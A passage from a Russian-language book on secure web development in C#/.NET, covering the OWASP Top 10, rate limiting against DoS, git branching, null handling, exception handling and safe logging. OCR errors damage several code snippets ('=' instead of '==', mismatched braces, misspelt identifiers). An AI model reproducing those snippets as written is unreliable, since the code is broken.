□ На первом месте в рейтинге 2021 года — нарушение контроля доступа. В 2017 году этот тип уязвимости занимал еще только пятое место. 94% протестированных сайтов содержали подобную уязвимость. Мы обязательно поговорим о ней достаточно подробно, но, на мой взгляд, самой большой проблемой тут является сложность автоматизации поиска таких уязвимостей.
□ Второе место — проблемы криптографии. Проблемы этого типа всегда были на высоких позициях. Мне кажется, что основная из них заключается в реализациях шифрования, поскольку с увеличением компьютерных мощностей перебор становится все проще.
□ Третье место занимают инъекции — очень опасные уязвимости, которые в 2017 году были на первом месте. Несмотря на то что они сейчас достаточно легко тестируются, а поиск их автоматизируется, уязвимости типа инъекции находятся все еще на высокой позиции, и это пугает. Мы рассмотрим SQL-инъекцию, которой подвержен С#, и увидим, что защита от нее очень простая.
□ Небезопасный дизайн — он тоже затрудняет автоматизацию тестирования, поэтому находится на четвертом месте. Для решения этой задачи нужно больше учиться и расти профессионально. Надеюсь, эта книга поможет вам познакомиться с проблемами безопасности дизайна, хотя они и выходят за рамки нашего обсуждения.
□ Пятое место — небезопасная конфигурация. Мы в основном будем рассматривать здесь уязвимости, хотя некоторые вопросы конфигурации тоже будут затронуты.
□ Уязвимые компоненты находятся на шестом месте. Очень сложно построить большую систему с нуля. Это возможно, но иногда в такой работе просто нет смысла. Проще использовать сторонние разработки, но при этом очень важно вовремя обновляться.
□ Проблемы идентификации и авторизации — на седьмом месте.
□ Восьмое место — проблемы целостности приложений и данных. Это новая категория, возникшая в 2021 году, и в нее попадают проблемы обновления приложений и критичных для приложения данных. К этой же категории относят пробле-
3 См. https://owasp.org/www-project-top-ten/.
20
Гпава 1
мы доставки кода — например, обновление сайтов без проверки работоспособности.
□ Проблемы журналирования и мониторинга занимают девятое место. Много журналов не бывает, но большое количество журналов может дорого обходиться компании с точки зрения организации их хранения.
□ И замыкает десятку подделка запросов на стороне сервера, когда хакер вынуждает сервер выполнить какие-то действия в отношении другого сервера. Подобная функциональность не так сильно распространена в Интернете, и не так часто встречаются уязвимости, которые можно было бы отнести к этой категории.
1.4. Отказ в обслуживании
Самые глупые атаки — отказ в обслуживании (Denial of Service, DoS) и распределенный отказ в обслуживании (Distributed Denial of Service, DDoS) — когда хакеры множественными запросами пытаются вывести сайт из строя, чтобы он перестал откликаться на запросы обычных посетителей. В случае DoS атаку производят один на один. При DDoS множество систем атакуют один сайт, но идея примерно та же. Бороться с этими атаками сложно, хотя и возможно.
В предыдущие времена достаточно было иметь быстрое интернет-соединение, чтобы забить интернет-канал небольшого сайта. Сейчас сайты располагаются в центрах данных, и даже 100-мегабитного соединения с Интернетом недостаточно для того, чтобы просто забросать сайт трафиком до такой степени, чтобы другим посетителям не хватило ресурсов.
Случалось, когда один запрос мог привести к тому, что сайт многократно перезагружался, или код начинал выполняться в бесконечном цикле, расходуя ресурсы. Такое еще возможно, однако веб-серверы даже при настройках по умолчанию могут прерывать подобную работу кода, что затрудняет проведение атаки.
Однако если иметь распределенную сеть из компьютеров по всему миру, и они начнут посылать запросы на сайт-жертву, то защищаться будет уже сложнее. Были случаи, когда вирусы с подачи злоумышленника заражали множество компьютеров, а потом сеть из зараженных компьютеров относительно успешно атаковала даже крупные сайты, имеющие достаточно много ресурсов.
Более подробную информацию о DoS-атаках вы найдете в моей уже упомянутой ранее книге «Web-сервер глазами хакера», а сейчас мы посмотрим на атаку глазами программиста.
С точки зрения программиста, причиной для успешной реализации атаки на отказ в обслуживании может быть неоптимизированный код сайта. Если на нем есть страница или какой-то код, который выполняется очень долго и при этом расходует много ресурсов, то хакер может начать вызывать этот код без остановки с разных компьютеров и сетей до тех пор, пока на сервере не израсходуются все ресурсы.
Очень часто успех DoS зависит от производительности кода, и самым первым бастионом на страже защиты от отказа в обслуживании является оптимизация, о которой мы будем говорить много и достаточно подробно.
Теория безопасности 21
Но есть еще один способ защиты от атаки на отказ в обслуживании — ограничивать количество запросов или ресурсов. И ограничение ресурсов касается не только небольших сайтов, но и крупных порталов — таких как GitHub, Gmail, Outlook ит. п.
Например, популярный в среде программистов ресурс GitHub для неавторизованных пользователей вводит ограничение в 60 запросов в час. Ограничения на доступ прописаны в правилах REST API4.
Там есть вот такой параграф:
For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the person making requests.
(Для неавторизованных запросов уровень лимита позволяет отправлять 60 запросов в час. Неавторизованные запросы связываются с IP-адресом источника, а не с конкретным человеком.)
Всего 60 запросов с одного и того же IP-адреса — это весьма жестко, потому что если у вас нет вьщеленного IP-адреса, а используется адрес шлюза компании, за которым скрывается тысяча сотрудников, то 60 запросов могут стать серьезным ограничением.
Но это правила REST API, которые достаточно специфичны, и проблема решается простой авторизацией. В случае с авторизованными посетителями GitHub может привязать запрос уже к авторизации, и поэтому ограничение подскакивает сразу к 5 тысячам.
Атаки DoS проще проводить от имени неавторизованного посетителя, потому что в этом случае единственная привязка идет к IP-адресу. Если GitHub заметит, что какой-то аккаунт злоупотребляет лимитом в 5 тысяч запросов, то такой аккаунт тут же будет отключен, и атака остановится.
Ограничения по количеству запросов — отличный способ защищаться от атаки на отказ в обслуживании, и стоит заранее продумать лимиты, которые позволят добропорядочным посетителям комфортно пользоваться сайтом, а для хакеров создадут проблемы.
Например, даже если каждую минуту посетитель будет переходить со страницы на страницу, то он не сможет загрузить сайт более 60 раз в час. Можно сделать ограничение с запасом и выделить 100 загрузок страниц в час. Для загрузки каждой страницы может понадобиться отправить несколько запросов на сервер: основной текст страницы, плюс статичные файлы, плюс возможные AJAX-запросы из JavaScript, которые будут загружать дополнительную информацию. Это все нужно учитывать в расчетах.
Ограничение может быть привязано к определенному времени — например, с 8 до 9 утра от посетителя должно поступать не более 100 запросов. Это ограничение удобно и легко подсчитывать: просто ровно в 8 часов утра очищаем лог и начинаем
4 См. https://docs.github.com/en/rest/overview/resources-in-the-rest-api.
22
Гпава 1
считать количество транзакций для каждого посетителя или IP-адреса с нуля. Для каждого из них можно создать подобие корзины и просто увеличивать ее.
Для быстроты расчетов можно использовать не реляционную базу данных, а просто задействовать оперативную память или кеширующую базу данных, где мы к данным можем обращаться по ключу и где ключом будет IP-адрес или идентификатор аккаунта. Это работает очень быстро.
Второй вариант — плавающее окно. Лимит должен устанавливаться на период времени от текущей точки. Например, сейчас у меня на часах 11:26 утра, и если мы ставим лимит на последний час, то должны подсчитать количество транзакций с 10:26 до 11:26. Тут уже нельзя просто создать корзины и каждый час начинать заново. Да, мы все еще можем создавать корзины, но в каждой из них нужно хранить не только одно число с количеством транзакций, а время каждой транзакции. Когда посетитель обращается к странице, мы можем удалить из корзины старые транзакции и подсчитать оставшиеся. Или подсчитать транзакции в нужном промежутке времени и оставить чистку на специальный процесс сборки мусора.
В главе 2 мы рассмотрим защиту от перебора имени и пароля, и там я как раз воспользуюсь плавающим окном, но для подсчета будет задействована простая SQL- база данных. С ее помощью мы станем тормозить перебор, но точно так же можно защититься и от атаки на отказ в обслуживании.
Есть и еще вариант — с глобальным количеством запросов. Например, мы знаем, что мощностей серверов достаточно, чтобы обрабатывать до 1000 запросов в секунду. Если одновременно будет поступать более 1000 запросов, то серверы начнут работать неприемлемо медленно, и даже легитимные посетители не смогут пользоваться сайтом на приемлемом уровне.
Глобальная защита позволит ограничить нагрузку и не доводить ее до критической, но ее нельзя использовать отдельно от предыдущих вариантов — на уровне посетителя или IP-адреса. Если сделать только глобальную защиту, то несколько хакеров могут инициировать такое количество запросов, что серверы будут заняты только запросами от них.
Я рекомендую вводить ограничения как на уровне пользователя, так и на глобальном уровне (сервере).
1.5. Управление кодом
Я познакомился с git, когда начал работать для Sony в 2009 году. Тогда единственным и правильным подходом в работе с этой системой контроля версий было создание отдельных веток кода для каждого проекта, разработка в изолированном окружении, тестирование и только потом внесение изменений в основную ветку (master). Так работают разработчики ядра Linux и многие программисты, кто попробовал этот подход и оценил его прелести.
Основное преимущество git в том, что она делает процесс объединения различных веток в единое целое простым и легким. Да, могут возникать конфликты, но их раз-
Теория безопасности
23
решение — весьма несложный процесс, и если вы хоть немного следуете современным практикам и пишете автоматические тесты, то не будете бояться объединения (merge) кода.
Но потом на git стали приходить те, кто до этого общался с ресурсом TFS (Team Foundation Server), где объединение веток кода было проблемой. Я одно время работал в большой компании, использующей TFS на старой проприетарной технологии, и там никто ветки не создавал, а сразу весь код попадал в основной мусорник. Сейчас и TFS уже использует git в качестве своей базы, поэтому, даже если кто-то не хочет работать с git, им просто некуда деться, потому что она победила везде.
Мне кажется, что это и стало нынешней проблемой. В git пришли те, кто боится слияния кода, — они категорически отказываются это делать и коммитят весь код в основную ветку. Последнее время они стали предлагать еще худшее решение — коммитить каждый день, поскольку вроде бы это как-то повышает производительность...
Вы можете выбрать какой угодно подход: рекомендуемый создателями git вариант с созданием веток и использованием слияния, или начать коммитить в основную ветку. Я не стану агитировать вас за выбор рекомендуемого мной метода, поэтому, если вы категорически за мусор в основной ветке, то просто не читайте дальше этот раздел.
Я всегда использовал ветки, и никаких проблем со слиянием не было. Конфликты — это нормальная ситуация, и если они возникают, значит, что-то нужно продумать и решить проблему, а не пытаться обходить ее частыми коммитами в master. Я против частых коммитов просто потому, что это как кидать мусор в мусорную корзину и потом работать в ней. Использующие этот подход программисты отправляют код в master и прячут его под флагами. Мои правила в отношении этого простые:
□ если код не работает и прячется, то его просто не должно быть в master, — это мусор;
□ если код не протестирован, то его не должно быть в master, — это опасность;
□ если код не проверен на безопасность, то его нельзя пускать в master;
□ master должен быть всегда готов к отгрузке на рабочий сервер, и его код должен быть стабилен, протестирован и безопасен.
Опять же, из личного опыта работы над сайтами для Sony, которые ни разу не были взломаны. Каждая фича и каждый баг разрабатывались и исправлялись в отдельных ветках. Каждый второй вторник я собирал все новые фичи и фиксы в новую ветку, имя которой выглядело как LaunchYYYYMMDD. Эту ветку мы отдавали тестерам на финальное тестирование и проверку безопасности. Когда тестирование заканчивалось, эта ветка попадала в master и отгружалась на сайт.
Таким образом, отгрузки на сайт проходили минимум два раза в месяц, но если возникали срочные проблемы, то мы могли отгрузить код в любой момент. Бывали случаи, когда отгружали каждую неделю и даже два раза в неделю. Это были час-
24
Гпава 1
тые обновления, но только законченных фич и только протестированного кода. Никогда и ничего не пряталось незаметно под флагами.
Спрятанный код может быть найден. С точки зрения безопасности вариант с сокрытием — это не защита.
1.6. Стабильность кода:
нулевые исключения
Когда я 2009 году начал работать над проектами для Sony, компилятор C# и сам язык еще не так хорошо обрабатывали null-ситуации. Это если вы сейчас не проверите переменную на null-значение, то вам покажут предупреждение и подскажут, что здесь может возникнуть проблема.
Есть теперь и удобные синтаксические конструкции, которые позволяют писать код так, чтобы мы реже сталкивались с NuiiException:
Объект?.Свойство
Но в те времена не было подобных предупреждений или конструкций. Объекты и строки очень часто приводили к исключительным ситуациям NuiiException, а из моего опыта — это самая популярная ошибка программистов.
Чтобы найти выход из сложившейся тогда ситуации, я стал писать код так, чтобы он никогда не возвращал null-значения там, где ожидаются объекты.
Посмотрим на следующий код:
public Door GetDoorQ { return House.Door;
}
<p>GetDoor().Color</p>
Здесь есть метод GetDoor, который возвращает какой-то объект, и потом мы его используем где-то в представлении для отображения цвета. Если GetDoor может по какой-либо причине вернуть null, то попытка отобразить в представлении цвет завершится исключительной ситуацией, а значит, стабильность кода оказывается под вопросом.
Кое-кто уже тогда пытался проверять все объекты на null-значения, и это верно. Сейчас же в C# намечено движение к тому, чтобы компилятор предупреждал нас о возможных значениях null, и мы явно указывали, что допускается отсутствующее значение, И минимизировали ВерОЯТНОСТЬ NuiiException.
Когда этой помощи компилятор не предоставлял, я нашел для себя удобным писать код так, чтобы методы никогда не возвращали пустое значение. Если есть вероятность, что House.Door будет пустым, то я верну пустой объект, но не пустое значение:
Теория безопасности
25
public Door GetDoorQ {
if (House = null || House.Door = null) {
return new Door();
}
return House.Door;
}
<p>GetDoor().Color</p>
Этот код не приведет к исключительной ситуации NuiiException.
Впрочем, такой код не всегда возможен, потому что вызов GetDoor (). color на пустом объекте двери может не иметь смысла. Тогда придется писать более классический вариант кода:
public Door GetDoor() {
return House.Door;
}
var door = GetDoor()
if (door != null) {
door.Color;
Я называю этот вариант классическим, потому что именно такой вариант я вижу чаще всего в коде. Он более простой и логичный.
В веб-программировании нам чаще всего нужно отображать какие-то данные, которые возвращает бизнес-логика. Если бизнес-логика способна вернуть null, то мы должны перед отображением проверить значение на null, что сделает уровень отображения чуть более сложным. Если бизнес-логика никогда не возвращает null, а в таких случаях возвращает объекты без данных, то мы просто отобразим пустой объект, и всё. Никакого плохого влияния на результат это обычно не оказывает.
Подход с возвращением пустых объектов не является общепринятым, и вы его, скорее всего, нигде не увидите. Это мой личный опыт, которым я хотел бы поделиться, а будете вы следовать ему или нет — выбор каждого. Не удивлюсь, если кто-то скажет, что это антипаттерн, но мне такой подход помогал делать код надежным и достигать минимального количества ошибок в журнале, о чем мы будем говорить в разд. 1.8.
Что плохого в этом коде?
int. Parse (value)
Он может стать причиной исключительной ситуации. Есть еще одна функция: TryParse — которая безопасна, но может привести к тому, что результата у нас не будет. Что использовать? Пустое значение? Я всегда стараюсь использовать значение по умолчанию.
26
Гпава 1
В веб-программировании нам часто приходится обрабатывать поступившие от посетителя данные, и при неверных данных могут происходить исключительные ситуации. Чтобы проще было обрабатывать пользовательские данные, я очень часто в своих проектах использую следующую функцию-помощник:
public static int StringToIntDef(string value, int defValue)
return int.TryParse(value, out var intValue) ? intValue : defValue; }
To есть в своем коде я всегда задействую stringTointDef, которая никогда не вернет null.
1.7. Исключительные ситуации
В современных языках программирования очень удобно обрабатывать исключительные ситуации с помощью конструкции try. .catch. Когда только появился этот подход к обработке исключительных ситуаций, то для написания надежных и безопасных приложений рекомендовалось отлавливать любые исключительные ситуации и не давать коду шанса на ошибку.
Однако отлавливание всех ошибок могло приводить к тому, что приложение начинало неверно работать и возникали более сложные с точки зрения отладки и исправления ситуации. Например:
int? index = null;
try {
index = int.Parse(value);
}
catch (Exception){
)
if (index >10) {
callFunctionl(index);
)
else {
callFunction2(index);
)
Функция преобразования строки в число int.Parse может генерировать исключительную ситуацию, если в строке находится значение, которое не может быть представлено числом. Чтобы приложение не упало, мы последовали рекомендации глушить ошибки и в результате открыли ящик Пандоры, потому что в таких случаях код будет всегда продолжать выполнение и выполнится функция caiiFunction2. А это именно то, что нужно хакеру, — ему достаточно спровоцировать исключительную ситуацию, чтобы направить код в нужном для себя направлении.
В показанном случае проблема очевидна, и вы можете сказать, что просто код написан неверно. Да, это так, но большинство уязвимостей появляются именно там, где «просто код написан неверно», — потому что кто-то упустил какую-то мелочь.
Теория безопасности
27
Когда над кодом работает только один человек, он знает весь код и всегда пишет код в одном стиле. Но если над кодом работают 10 или 100 человек и код более сложный, чем в приведенном примере, то упустить подобную «логическую бомбу» намного проще.
С точки зрения безопасности в случае исключительной ситуации мы не можем просто продолжить работу — нужно убедиться, что состояние всех переменных содержит безопасные для дальнейшего выполнения кода значения, или направлять код в безопасном направлении.
Сейчас я уже не слышу такой рекомендации — чтобы программисты глушили возможные исключительные ситуации. На то они и исключительные, чтобы приводили к падению приложения, и оно не продолжало свое выполнение.
1.8. Журналы ошибок и аудит
Мы не идеальны и можем совершать ошибки. Ошибки иногда могут быть даже полезными, если мы их нашли во время разработки или тестирования. Хуже, если проблему нашел хакер, когда приложение уже отгружено клиентам, или когда сайт стал доступен всем посетителям.
Когда я изучаю новую технологию, фреймворк или язык программирования, то ошибки, баги и другие проблемы помогают мне разобраться с тонкостями работы в них и лучше запомнить изучаемый материал.
Современные среды разработки обладают отличными инструментами для отладки приложения, чтобы можно было по шагам пройти по каждой строчке кода и узнать, как он работает. Но чтобы мы знали, где и что нужно отлаживать, надо знать о том, где и при наличии каких данных приложение ведет себя неверно. И вот тут нам помогают журналы.
Современные фреймворки уже включают возможности, которые позволяют сохранять информацию в журналах, куда автоматически попадают исключительные ситуации. Зачем я завел разговор о том, что и так работает? Просто журналы ошибок тоже могут стать уязвимостью.
Работая над сайтами e-commerce, нельзя просто подключить журналирование по умолчанию, потому что оно будет сохранять в файлы или базу данных слишком много информации, среди которой могут быть чувствительные данные — например, номера банковских карт или CVV-коды безопасности из трех цифр, которые размещаются на оборотных сторонах карт и по правилам кредитных организаций не должны сохраняться ни при каких условиях. Наличие CVV-кодов карт в журналах может привести к серьезным последствиям для организации.
Проблеме сохранения данных подвержены не только банковские карты и сайты e-commerce — она может возникнуть также и в отношении прочей персональной информации о посетителях, собираемой в других типах веб-приложений. В наше время публикация персональных данных посетителей вполне способна стать причиной серьезных разборок в судах и обернуться штрафами.
2В
Гпава 1
В журналах нужно сохранять только необходимую для отладки в будущем информацию, а все лишние данные должны из них удаляться. Однако настроенная по умолчанию система может сохранять содержимое стека, всех значений сессии и cookie, и если среди этих данных окажется номер кредитной карты, ее СVV-код или любая другая важная информация, то это может привезти к указанным проблемам. При работе над сайтами e-commerce я не использовал встроенную систему журналирования, а написал свою собственную, потому что она как раз фильтровала любые возможные персональные данные.
При этом, если журналы хранятся в файлах, то они не должны быть доступны извне! Файлы журналов не раз становились причиной взлома. Были случаи, когда хакер находил способ выполнять код, который находится в журнале. Хакеру, обнаружившему возможность выполнять содержимое журнала ошибок как код, оставалось найти способ сгенерировать исключительную ситуацию так, чтобы ошибка содержала нужный код и этот код попал в журнал.
Это достаточно специфичная атака, и встречается не так часто, потому что для этого требуется выполнение сразу нескольких условий:
□ журнал должен быть доступен;
□ его содержимое должно выполняться как код.
В случае с C# для выполнения кода его нужно компилировать. И хотя существуют способы компиляции и выполнения кода сразу в памяти, но это еще одно дополнительное условие защиты. И в этом отношении более опасными становятся уже не компилируемые, а интерпретируемые языки — такие как PHP или Python.
В общем, я надеюсь, что мне удалось убедить вас относиться к журналам серьезно.
Помимо выборочной фиксации ошибок, необходимо соответствующим образом реализовать и аудит данных. Если на сайте есть регистрация и/или возможность входа на сайт, то необходимо сохранять следующую информацию:
□ дату, время и IP-адрес каждой неверной попытки ввода имени посетителя или пароля при авторизации;
□ информацию об успешных попытках входа в систему;
□ время и IP-адрес регистрации;
□ дату и информацию о смене таких важных данных, как email посетителя или его пароль.
Много аудита не бывает, и я обычно сохраняю его в базе данных, а не в файлах, как это происходит с ошибками. Тут только нужно убедиться, что все сохраняется в должном виде. Если мы сохраняем информацию об ошибочном входе в систему, то можно сохранить email или имя посетителя, которые использовались для авторизации, но нельзя сохранять пароль в чистом виде. А сохранять безопасный хеш пароля в таком случае бессмысленно и бесполезно, так что я бы сказал так: нельзя сохранять ошибочный пароль ни в каком виде.
Если сохранить ошибочный пароль и по какой-то причине эта информация утечет в сеть, то это значительно упростит задачу хакеров по подбору пароля. Достаточно
Теория безопасности
29
только взять ошибочный пароль и попробовать перебрать его варианты, меняя регистр. Например, если в таблице аудита находится ошибочный пароль pa$$wOrd, то есть большой шанс, что верный пароль — это Pa$$wOrD, — просто посетитель забыл или недожал клавишу <Shift> при наборе пароля.
Во время разработки очень часто имеет смысл где-то сохранять вспомогательную информацию, которая потом может помочь в отладке. Например, при загрузке файла удобно сохранить в журнале отметку времени, когда началась загрузка, количество загруженных строк и время, когда загрузка закончилась. Это может понадобиться чтобы отследить время загрузки. Такая информация не является собственно ошибкой, но чтобы не изобретать велосипед, ее также можно и нужно сохранять в журнале. Просто она может быть помечена каким-то определенным образом. Встроенный во фреймворк iLogger уже поддерживает различные уровни, и вы можете так сохранять отладочную информацию:
_logger.Log(LogLevel.Debug, "Начало загрузки файла");
Нам доступны следующие уровни:
public enum LogLevel {
Trace,
Debug,
Information,
Warning,
Error,
Critical,
None
}
При разработке собственной системы журналирования было бы неплохо сделать что-то подобное. В зависимости от окружения определенные уровни могут попадать в журнал, а какие-то — нет. Например, во время разработки должно сохраняться всё. А во время уже работы на серверах нужно сохранять только ошибки и критические сообщения, чтобы сэкономить хранилища журналов.
В .NET уже по умолчанию идет разделение на режим разработки и режим работы на серверах.
1.9. Ошибки нужно исправлять
Мы определились, что ошибки глушить нельзя, и приложение должно падать в случае ошибки. И нам надо использовать журналы, чтобы в них сохранялась каждая исключительная ситуация. Возможно, тут я мало чего сказал нового. Но в последние годы я вижу, что все компании пишут код так, что он падает в случае ошибок, и почти все компании используют журналы. Почему «почти все»? Потому что сейчас наметилось движение к нулевым журналам.
30
Глава 1
Если сохранять в журнале все ошибки, то он может очень быстро вырасти до огромных размеров. Когда сайтом пользуются миллионы посетителей, и каждый из них будет делать что-то, что приводит хотя бы к одной ошибке в день, в файлах журнала будут появляться миллионы записей. Хранение такого количества информации обходится очень дорого. Современные облачные хостинги предоставляют гибкие возможности, но их системы журналирования при больших объемах данных могут привести к появлению в конце месяца внушительного счета.
Вместо журналирования сейчас часто применяется новый подход — observability (наблюдаемость). Этот термин появился благодаря микросервисной архитектуре, где отдельный журнал сервиса дает информацию о том, что происходит непосредственно с этим сервисом, но не говорит ничего, что происходит с системой в целом. Один запрос посетителя в микросервисной архитектуре может привести к тому, что несколько небольших сервисов будут участвовать в обработке и возврате данных. Если запрос завершается ошибкой, то сложно сразу угадать, что именно стало причиной, в каком из нескольких небольших приложений находится ошибка, или, может, этот небольшой сервис недоступен в текущий момент. В такой ситуации и приходит на помощь уровень observability, который позволяет наблюдать за системой в целом и как бы сверху.
Сторонники такого подхода делятся на две категории: первые считают, что журналы дополняют observability, а вторые — что observability заменяет журналы. Те, кто полагает, что observability пришла на замену журналам, исходят из того, что подробные журналы ошибок — это дорого и ненужно, поэтому их не следует хранить в рабочей системе. Вместо этого надо сохранять только краткую информацию о том, как выполняется запрос, — без лишних данных.
Я прекрасно понимаю таких людей, потому что когда в журнале сохранено слишком много ошибок, и даже если тратить большие деньги на хранение огромных файлов, найти нужную информацию в них будет очень сложно. Мне как-то довелось работать в компании, где код генерировал тысячи ошибок в минуту, — и это нормально, когда приложением пользуются миллионы посетителей. Но раз в месяц одна из программ, которая должна была один раз в час заниматься очень важными расчетами, начинала вести себя нестабильно и генерировала в журнал ошибок еще сотню ошибок. То есть вместо 1000 ошибок в минуту появлялось 1100 ошибок, что больше выглядело как погрешность, — может, чуть больше посетителей пользовались сайтом в этот момент. Попытки найти причину такого поведения системы не увенчались успехом — потому что когда в журнале такое огромное количество ошибок, найти в них причину появления еще сотни невозможно. Мы год мучились, отлаживали, пробовали, но ничего так и не вышло — возможно, эта ошибка происходит до сих пор, но я в той компании уже не работаю...
К сожалению, я уже давно не работаю архитектором и не принимаю решений о том, как хранить данные и работать с журналами. Последний раз я делал архитектуру и отвечал сам за такие решения, когда работал над проектами для Sony. В разд. 1.7 я уже отмечал, что у меня была собственная реализация журнала ошибок, обеспечивавшая фильтрацию опасных данных перед его сохранением. Так вот, эта реализация предусматривала также и отправку ошибок на мой рабочий почто-
Теория безопасности
31
вый ящик. Да, все исключительные ситуации доставлялись в мой почтовый ящик! Представляете, если такое сделать для проекта, где в минуту генерируется тысяча ошибок?
База данных сайта e-commerce, за который я отвечал, насчитывала более 15 миллионов посетителей. Это достаточно большое количество, и подобный сайт вполне реально может генерировать множество ошибок. Как же я тогда работал? Дело в том, что я не игнорировал ошибки в журнале, а исправлял их. Каждое утро у меня начиналось с того, что я проверял почту и просматривал поступившие за ночь в почтовый ящик письма с ошибками, которые произошли этой ночью. Для каждой новой ошибки в системе создавался новый тикет, чтобы исправить ошибку. Если ошибка редкая и происходила раз в месяц, то такой тикет мог пролежать в системе очень долго. Если же я начинал получать сообщения слишком часто, то в моих интересах было исправить проблему как можно скорее, чтобы почтовый ящик не переполнялся ненужными ошибками.
В лучшие времена я утром видел не более 10 писем с ошибками, которые не так сложно просмотреть. После запусков больших проектов бывали ситуации, когда ошибок становилось больше. Это нормально — вполне вероятно, что во время разработки и тестирования проекта мы могли упустить что-то и не учесть особенности рабочего или распределенного окружения. Случалось, что мы не учитывали нагрузку, и после запуска начинались ошибки timeout (превышение времени выполнения запросов). Но за счет того, что я исправлял проблемы, а не игнорировал их, каждый timeout был виден, а не прятался под толщей исключительных ситуаций.
Если утром я видел во входящей почте тысячи ошибок, то ночью, скорее всего, возникала какая-то проблема, — возможно, сайт был не доступен, или администраторы сайта проводили обслуживание ОС или базы данных. По ошибкам я сразу видел, когда началась проблема и закончилась ли она к началу моего рабочего дня. Тут же можно было выяснить, что реально происходило. Получая сообщения об ошибках в свой почтовый ящик, я узнавал о проблемах на сайте всего лишь с задержкой доставки Google-почты. И если во время рабочего дня начинали сыпаться письма, я тут же мог на них реагировать.
У администраторов имелись свои метрики, которые показывали доступность ресурсов и сайта, а моими метриками были ошибки, потому что для меня это один из важнейших показателей. Конечно, на одном из мониторов у меня была открыта еще и страница с такими метриками, как количество используемой серверами памяти, загрузка процессора и т. п.
Я бы выделил три типа ошибок, с которыми мне приходилось сталкиваться:
□ первый тип — когда приложение получает некорректные данные. Это приводит к какой-то ошибке, и чаще всего — к NuiiException;
□ второй тип ошибок — данные корректны, но приложение работает по какой-то причине неверно;
□ третий тип ошибки — проблемы ресурсов.
Рассмотрим их по порядку.
32
Гпава 1
Например, программист разрабатывает форму регистрации и ожидает, что все поля будут иметь значения — ну хотя бы пустые строки, если посетитель не указал ничего. Но для большого сайта нормально, когда его код тестируют хакеры, и уже на следующий день, скорее всего, кто-либо попытается отправить форму, в которой будет отсутствовать какой-то параметр вовсе, что будет восприниматься кодом как null-значение. В результате приложение упадет с ошибкой.
Добропорядочные посетители ничего подобного делать не станут, поэтому они, скорее всего, не столкнутся с такой ошибкой сайта. От того, что хакер сгенерировал NuiiException, тоже ничего плохого не произойдет, поэтому большинство разработчиков просто игнорируют эту проблему. Но я никогда такое не игнорировал, а воспринимал отсутствующие (null) значения как пустые строки и показывал посетителю, что заполнение поля обязательно.
Если использовать для проверки данных атрибуты (мы будем говорить об этом в разд. 2.3), то ничего дополнительного делать не нужно — все будет работать. Но в некоторых случаях все же ошибка при недостатке проверки входных данных может произойти. Недостаток проверки данных решается проще всего, и если не игнорировать исключительные ситуации, а исправлять их, то количество ошибок в журнале и в вашем почтовом ящике будет минимальным.
Сложнее с ошибками второго типа, когда данные введены корректно, но код выполняется как-то неверно. Это может быть следствием недоработок при проектировании или реализации приложения. Вот тут уже для исправления такой ошибки могут понадобиться значительные усилия, и, самое главное, это может отражаться даже на добропорядочных посетителях.
У меня были случаи, когда в почтовый ящик падало письмо с ошибкой, глядя на которую я видел, что на сайте что-то происходит не так, и начинал тут же собственное расследование. Через некоторое время мог поступить телефонный звонок от менеджеров Sony с рассказом о проблеме, которая привела к исключительной ситуации, и ошибке, информацию о которой я получил ранее по email и уже начал расследовать. И очень часто к этому моменту у меня уже было для них решение или объяснение того, почему что-то пошло не так, потому что по информации в письме я уже успел найти источник проблемы.
Очень приятно было слышать от клиента, что они довольны моей быстрой работой и быстрым исправлением проблем сразу же во время их звонка, но в реальности я просто начинал действовать еще до того, как раздался этот звонок.
Третий тип ошибки — когда не работали какие-то ресурсы. Например, при возникновении проблем с базой данных код не может подключиться к ней и начинает генерировать ошибки. За минуту их может быть очень много, но важно то, что я их буду видеть моментально. Когда в почтовый ящик падают все ошибки, то вы просто не сможете упустить тысячу сообщений с ошибкой невозможности соединиться с базой данных.
После первого такого случая, когда база данных не была доступна ночью из-за ее обновления, я получил множество сообщений, и мой ящик переполнился, хотя обновление осуществлялось ночью, когда сайтом пользовалось очень мало посетителей. Чтобы решить эту проблему, я изменил немного код отправки сообщений.
Теория безопасности
33
В журнал попадали абсолютно все ошибки, даже проблемы соединения. Но перед отправкой письма код проверял, отправлял он письмо с такой же ошибкой в последние 15 минут или нет. Если отправлял, то повторно это делать не требовалось. В результате в случаях проблем с ресурсами, такими как базы данных, я получал только одно письмо в 15 минут.
Ошибки могут указывать и на возможные проблемы безопасности. Попытки хакеров эксплуатировать SQL Injection, скорее всего, будут приводить к тому, что в журналах станут появляться какие-то записи. В главе 3 мы подробно поговорим об этой уязвимости. Сейчас же я только хотел бы указать на важность чистоты журнала — если в нем будет огромное количество мусора, то вы просто можете не заметить ошибки SQL.
Я отношу доступность сайта к показателям его стабильности. И воспринимаю ошибки со всей серьезностью. Чтобы вы также относились к ним серьезно, рекомендую просто настроить отправку всех ошибок в свой почтовый ящик, — и у вас другого выхода не будет, как только быстро ликвидировать проблемы, чтобы они не засоряли папку Входящие. Да, это жесткий подход, но я так работал несколько лет, и, как уже отмечал, сайтом под таким моим контролем пользовалось огромное количество посетителей.
Так что в завершение этого раздела хочется еще раз отметить, что ошибки нужно не только отлавливать, но и исправлять, чтобы добиться максимальной доступности приложения и максимального качества кода. При ликвидации проблем нельзя просто глушить ошибки с помощью try catch. Добавляйте все необходимые проверки входящих данных, даже если это абсолютно неверные данные, которые может отправить только злоумышленник.
Я понимаю, что получение ошибок в свой почтовый ящик — это радикальное решение. Но оно действительно заставит вас исправлять проблемы, а не игнорировать их. Если вы считаете его слишком жестким, то можете работать с журналами, но — главное — не игнорируйте проблемы, исправляйте ошибки, начинайте свой день с анализа проблем.
Ошибки могут приводить к проблемам и уязвимостям, поэтому исправление их важно не только для темы безопасности, которую мы обсуждаем в этой книге, но и для поддержания производительности системы. Дело в том, ликвидация исключительных ситуаций удобна с точки зрения программирования, но чревата проблемами производительности из-за необходимости выполнения дополнительного кода. Впрочем, производительность — это тема глав 4 и 5, поэтому мы еще вернемся к этому вопросу, а пока я только хотел заметить, что производительность также является причиной исправлять ошибки, а не игнорировать их.
В шаблоне, который генерирует нам .NET при создании приложения, уже есть заготовка для отображения ошибок.
Файл Program.cs содержит следующий код:
if (!арр.Environment.IsDevelopment()) {
app.UseExceptionHandler("/Ноте/Error");
34
Глава 1
Если код выполняется не в режиме разработки, то посетитель переадресовывается на страницу /Home/Еггог. А в режиме разработки подробная информация об ошибке станет отображаться сразу на странице и будет включать проблемный код, указание на файл, где произошла ошибка, и многое другое.
